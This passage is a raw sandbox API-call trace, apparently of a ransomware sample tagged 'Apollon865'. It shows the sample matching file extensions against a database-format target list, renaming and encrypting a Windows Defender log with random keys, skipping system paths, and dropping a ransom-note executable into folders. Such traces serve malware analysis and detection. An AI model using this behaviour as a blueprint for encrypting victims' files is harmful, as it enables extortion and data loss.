	[0079.164] lstrlenW (lpString="fcd") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="fcd") returned 1
	[0079.164] lstrlenW (lpString="fdb") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="fdb") returned 1
	[0079.164] lstrlenW (lpString="fic") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="fic") returned 1
	[0079.164] lstrlenW (lpString="flexolibrary") returned 12
	[0079.164] lstrcmpiW (lpString1="9-221054.log", lpString2="flexolibrary") returned -1
	[0079.164] lstrlenW (lpString="fm5") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="fm5") returned 1
	[0079.165] lstrlenW (lpString="fmp") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="fmp") returned 1
	[0079.165] lstrlenW (lpString="fmp12") returned 5
	[0079.165] lstrcmpiW (lpString1="4.log", lpString2="fmp12") returned -1
	[0079.165] lstrlenW (lpString="fmpsl") returned 5
	[0079.165] lstrcmpiW (lpString1="4.log", lpString2="fmpsl") returned -1
	[0079.165] lstrlenW (lpString="fol") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="fol") returned 1
	[0079.165] lstrlenW (lpString="fp3") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="fp3") returned 1
	[0079.165] lstrlenW (lpString="fp4") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="fp4") returned 1
	[0079.165] lstrlenW (lpString="fp5") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="fp5") returned 1
	[0079.165] lstrlenW (lpString="fp7") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="fp7") returned 1
	[0079.165] lstrlenW (lpString="fpt") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="fpt") returned 1
	[0079.165] lstrlenW (lpString="frm") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="frm") returned 1
	[0079.165] lstrlenW (lpString="gdb") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1
	[0079.165] lstrlenW (lpString="gdb") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1
	[0079.165] lstrlenW (lpString="grdb") returned 4
	[0079.165] lstrcmpiW (lpString1=".log", lpString2="grdb") returned -1
	[0079.165] lstrlenW (lpString="gwi") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="gwi") returned 1
	[0079.165] lstrlenW (lpString="hdb") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="hdb") returned 1
	[0079.165] lstrlenW (lpString="his") returned 3
	[0079.165] lstrcmpiW (lpString1="log", lpString2="his") returned 1
	[0079.165] lstrlenW (lpString="ib") returned 2
	[0079.165] lstrcmpiW (lpString1="og", lpString2="ib") returned 1
	[0079.165] lstrlenW (lpString="idb") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="idb") returned 1
	[0079.166] lstrlenW (lpString="ihx") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="ihx") returned 1
	[0079.166] lstrlenW (lpString="itdb") returned 4
	[0079.166] lstrcmpiW (lpString1=".log", lpString2="itdb") returned -1
	[0079.166] lstrlenW (lpString="itw") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="itw") returned 1
	[0079.166] lstrlenW (lpString="jet") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="jet") returned 1
	[0079.166] lstrlenW (lpString="jtx") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="jtx") returned 1
	[0079.166] lstrlenW (lpString="kdb") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="kdb") returned 1
	[0079.166] lstrlenW (lpString="kexi") returned 4
	[0079.166] lstrcmpiW (lpString1=".log", lpString2="kexi") returned -1
	[0079.166] lstrlenW (lpString="kexic") returned 5
	[0079.166] lstrcmpiW (lpString1="4.log", lpString2="kexic") returned -1
	[0079.166] lstrlenW (lpString="kexis") returned 5
	[0079.166] lstrcmpiW (lpString1="4.log", lpString2="kexis") returned -1
	[0079.166] lstrlenW (lpString="lgc") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="lgc") returned 1
	[0079.166] lstrlenW (lpString="lwx") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="lwx") returned -1
	[0079.166] lstrlenW (lpString="maf") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="maf") returned -1
	[0079.166] lstrlenW (lpString="maq") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="maq") returned -1
	[0079.166] lstrlenW (lpString="mar") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="mar") returned -1
	[0079.166] lstrlenW (lpString="marshal") returned 7
	[0079.166] lstrcmpiW (lpString1="054.log", lpString2="marshal") returned -1
	[0079.166] lstrlenW (lpString="mas") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="mas") returned -1
	[0079.166] lstrlenW (lpString="mav") returned 3
	[0079.166] lstrcmpiW (lpString1="log", lpString2="mav") returned -1
	[0079.166] lstrlenW (lpString="maw") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="maw") returned -1
	[0079.167] lstrlenW (lpString="mdbhtml") returned 7
	[0079.167] lstrcmpiW (lpString1="054.log", lpString2="mdbhtml") returned -1
	[0079.167] lstrlenW (lpString="mdn") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="mdn") returned -1
	[0079.167] lstrlenW (lpString="mdt") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="mdt") returned -1
	[0079.167] lstrlenW (lpString="mfd") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="mfd") returned -1
	[0079.167] lstrlenW (lpString="mpd") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="mpd") returned -1
	[0079.167] lstrlenW (lpString="mrg") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="mrg") returned -1
	[0079.167] lstrlenW (lpString="mud") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="mud") returned -1
	[0079.167] lstrlenW (lpString="mwb") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="mwb") returned -1
	[0079.167] lstrlenW (lpString="myd") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="myd") returned -1
	[0079.167] lstrlenW (lpString="ndf") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="ndf") returned -1
	[0079.167] lstrlenW (lpString="nnt") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="nnt") returned -1
	[0079.167] lstrlenW (lpString="nrmlib") returned 6
	[0079.167] lstrcmpiW (lpString1="54.log", lpString2="nrmlib") returned -1
	[0079.167] lstrlenW (lpString="ns2") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="ns2") returned -1
	[0079.167] lstrlenW (lpString="ns3") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="ns3") returned -1
	[0079.167] lstrlenW (lpString="ns4") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="ns4") returned -1
	[0079.167] lstrlenW (lpString="nsf") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="nsf") returned -1
	[0079.167] lstrlenW (lpString="nv") returned 2
	[0079.167] lstrcmpiW (lpString1="og", lpString2="nv") returned 1
	[0079.167] lstrlenW (lpString="nv2") returned 3
	[0079.167] lstrcmpiW (lpString1="log", lpString2="nv2") returned -1
	[0079.168] lstrlenW (lpString="nwdb") returned 4
	[0079.168] lstrcmpiW (lpString1=".log", lpString2="nwdb") returned -1
	[0079.168] lstrlenW (lpString="nyf") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="nyf") returned -1
	[0079.168] lstrlenW (lpString="odb") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="odb") returned -1
	[0079.168] lstrlenW (lpString="odb") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="odb") returned -1
	[0079.168] lstrlenW (lpString="oqy") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="oqy") returned -1
	[0079.168] lstrlenW (lpString="ora") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="ora") returned -1
	[0079.168] lstrlenW (lpString="orx") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="orx") returned -1
	[0079.168] lstrlenW (lpString="owc") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="owc") returned -1
	[0079.168] lstrlenW (lpString="p96") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="p96") returned -1
	[0079.168] lstrlenW (lpString="p97") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="p97") returned -1
	[0079.168] lstrlenW (lpString="pan") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="pan") returned -1
	[0079.168] lstrlenW (lpString="pdb") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="pdb") returned -1
	[0079.168] lstrlenW (lpString="pdm") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="pdm") returned -1
	[0079.168] lstrlenW (lpString="pnz") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="pnz") returned -1
	[0079.168] lstrlenW (lpString="qry") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="qry") returned -1
	[0079.168] lstrlenW (lpString="qvd") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="qvd") returned -1
	[0079.168] lstrlenW (lpString="rbf") returned 3
	[0079.168] lstrcmpiW (lpString1="log", lpString2="rbf") returned -1
	[0079.168] lstrlenW (lpString="rctd") returned 4
	[0079.168] lstrcmpiW (lpString1=".log", lpString2="rctd") returned -1
	[0079.168] lstrlenW (lpString="rod") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="rod") returned -1
	[0079.169] lstrlenW (lpString="rodx") returned 4
	[0079.169] lstrcmpiW (lpString1=".log", lpString2="rodx") returned -1
	[0079.169] lstrlenW (lpString="rpd") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="rpd") returned -1
	[0079.169] lstrlenW (lpString="rsd") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="rsd") returned -1
	[0079.169] lstrlenW (lpString="sas7bdat") returned 8
	[0079.169] lstrcmpiW (lpString1="1054.log", lpString2="sas7bdat") returned -1
	[0079.169] lstrlenW (lpString="sbf") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="sbf") returned -1
	[0079.169] lstrlenW (lpString="scx") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="scx") returned -1
	[0079.169] lstrlenW (lpString="sdb") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="sdb") returned -1
	[0079.169] lstrlenW (lpString="sdc") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="sdc") returned -1
	[0079.169] lstrlenW (lpString="sdf") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="sdf") returned -1
	[0079.169] lstrlenW (lpString="sis") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="sis") returned -1
	[0079.169] lstrlenW (lpString="spq") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="spq") returned -1
	[0079.169] lstrlenW (lpString="te") returned 2
	[0079.169] lstrcmpiW (lpString1="og", lpString2="te") returned -1
	[0079.169] lstrlenW (lpString="teacher") returned 7
	[0079.169] lstrcmpiW (lpString1="054.log", lpString2="teacher") returned -1
	[0079.169] lstrlenW (lpString="tmd") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="tmd") returned -1
	[0079.169] lstrlenW (lpString="tps") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="tps") returned -1
	[0079.169] lstrlenW (lpString="trc") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="trc") returned -1
	[0079.169] lstrlenW (lpString="trc") returned 3
	[0079.169] lstrcmpiW (lpString1="log", lpString2="trc") returned -1
	[0079.169] lstrlenW (lpString="trm") returned 3
	[0079.170] lstrcmpiW (lpString1="log", lpString2="trm") returned -1
	[0079.170] lstrlenW (lpString="udb") returned 3
	[0079.170] lstrcmpiW (lpString1="log", lpString2="udb") returned -1
	[0079.170] lstrlenW (lpString="udl") returned 3
	[0079.170] lstrcmpiW (lpString1="log", lpString2="udl") returned -1
	[0079.170] lstrlenW (lpString="usr") returned 3
	[0079.170] lstrcmpiW (lpString1="log", lpString2="usr") returned -1
	[0079.170] lstrlenW (lpString="v12") returned 3
	[0079.170] lstrcmpiW (lpString1="log", lpString2="v12") returned -1
	[0079.170] lstrlenW (lpString="vis") returned 3
	[0079.170] lstrcmpiW (lpString1="log", lpString2="vis") returned -1
	[0079.170] lstrlenW (lpString="vpd") returned 3
	[0079.170] lstrcmpiW (lpString1="log", lpString2="vpd") returned -1
	[0079.170] lstrlenW (lpString="vvv") returned 3
	[0079.170] lstrcmpiW (lpString1="log", lpString2="vvv") returned -1
	[0079.170] lstrlenW (lpString="wdb") returned 3
	[0079.170] lstrcmpiW (lpString1="log", lpString2="wdb") returned -1
	[0079.170] lstrlenW (lpString="wmdb") returned 4
	[0079.170] lstrcmpiW (lpString1=".log", lpString2="wmdb") returned -1
	[0079.170] lstrlenW (lpString="wrk") returned 3
	[0079.170] lstrcmpiW (lpString1="log", lpString2="wrk") returned -1
	[0079.170] lstrlenW (lpString="xdb") returned 3
	[0079.170] lstrcmpiW (lpString1="log", lpString2="xdb") returned -1
	[0079.170] lstrlenW (lpString="xld") returned 3
	[0079.170] lstrcmpiW (lpString1="log", lpString2="xld") returned -1
	[0079.170] lstrlenW (lpString="xmlff") returned 5
	[0079.170] lstrcmpiW (lpString1="4.log", lpString2="xmlff") returned -1
	[0079.170] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log.Apollon865") returned 90
	[0079.170] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support\\mplog-07132009-221054.log"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support\\mplog-07132009-221054.log.apollon865"), dwFlags=0x1) returned 1
	[0079.200] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support\\mplog-07132009-221054.log.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0079.200] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=199386) returned 1
	[0079.200] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0079.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0079.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0079.201] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0079.201] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0079.201] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0079.202] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30de0, lpName=0x0) returned 0x100
	[0079.203] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30de0) returned 0x120000
	[0079.328] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0079.329] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0079.329] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0079.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0079.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.329] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0079.331] CloseHandle (hObject=0x100) returned 1
	[0079.331] CloseHandle (hObject=0x15c) returned 1
	[0079.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0079.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0079.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0079.333] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x798d48a0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x30ada, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="MPLOG-~1.LOG")) returned 0
	[0079.333] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.333] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc30
	[0079.333] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans"
	[0079.333] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd58 | out: hHeap=0x580000) returned 1
	[0079.333] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0079.333] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned 51
	[0079.333] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans"
	[0079.333] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.333] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.333] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.334] GetLastError () returned 0x0
	[0079.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.334] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.334] CloseHandle (hObject=0x10c) returned 1
	[0079.334] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.334] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.334] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.334] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.334] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.334] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.334] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.334] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.334] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.334] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.334] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.334] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0079.334] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.334] lstrcmpiW (lpString1="History", lpString2="Apollon865.txt.exe") returned 1
	[0079.334] lstrcmpiW (lpString1="History", lpString2=".") returned 1
	[0079.334] lstrcmpiW (lpString1="History", lpString2="..") returned 1
	[0079.335] lstrcmpiW (lpString1="History", lpString2="windows") returned -1
	[0079.335] lstrcmpiW (lpString1="History", lpString2="bootmgr") returned 1
	[0079.335] lstrcmpiW (lpString1="History", lpString2="temp") returned -1
	[0079.335] lstrcmpiW (lpString1="History", lpString2="pagefile.sys") returned -1
	[0079.335] lstrcmpiW (lpString1="History", lpString2="boot") returned 1
	[0079.335] lstrcmpiW (lpString1="History", lpString2="ids.txt") returned -1
	[0079.335] lstrcmpiW (lpString1="History", lpString2="ntuser.dat") returned -1
	[0079.335] lstrcmpiW (lpString1="History", lpString2="perflogs") returned -1
	[0079.335] lstrcmpiW (lpString1="History", lpString2="MSBuild") returned -1
	[0079.335] lstrlenW (lpString="History") returned 7
	[0079.335] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*") returned 53
	[0079.335] lstrcpyW (in: lpString1=0x119e670, lpString2="History" | out: lpString1="History") returned="History"
	[0079.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0079.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591440
	[0079.335] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc30 | out: ListHead=0x5b75f0, ListEntry=0x59fc30) returned 0x59fc90
	[0079.335] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f827cf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.335] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.335] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f827cf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0079.335] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.335] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc30
	[0079.335] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History"
	[0079.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591440 | out: hHeap=0x580000) returned 1
	[0079.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0079.335] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned 59
	[0079.335] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History"
	[0079.335] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.335] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.336] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
